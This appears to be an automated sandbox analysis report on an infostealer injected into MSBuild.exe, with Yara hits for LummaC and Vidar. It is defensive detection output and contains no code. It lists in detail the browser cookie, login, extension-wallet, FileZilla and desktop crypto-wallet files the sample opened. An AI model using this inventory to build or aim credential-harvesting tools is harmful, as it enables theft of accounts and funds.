Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\backups\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Searches for user specific document files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 7280, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 7828, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.4c06f40.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.4c06f40.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.4165990.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.4165990.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.49a3090.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.41b99f0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.43531c0.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.4975860.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.41b99f0.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.4975860.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.43809f0.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.49a3090.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.43531c0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.43809f0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.2078508760.000000000418F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2078508760.0000000004161000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2078508760.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1669807678.00000000034A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1673284783.0000000004380000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1673284783.0000000004353000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2617277364.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2075717329.000000000326D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2078508760.0000000004B1E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2379793431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1673284783.00000000049A3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1673284783.0000000004866000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 1lKbb2hF7fYToopfpmEvlyRN.exe PID: 7252, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 7280, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: DBAAFIDGDA.exe PID: 7796, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 7828, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C750C40 sqlite3_bind_zeroblob, 1_2_6C750C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C750D60 sqlite3_bind_parameter_name, 1_2_6C750D60
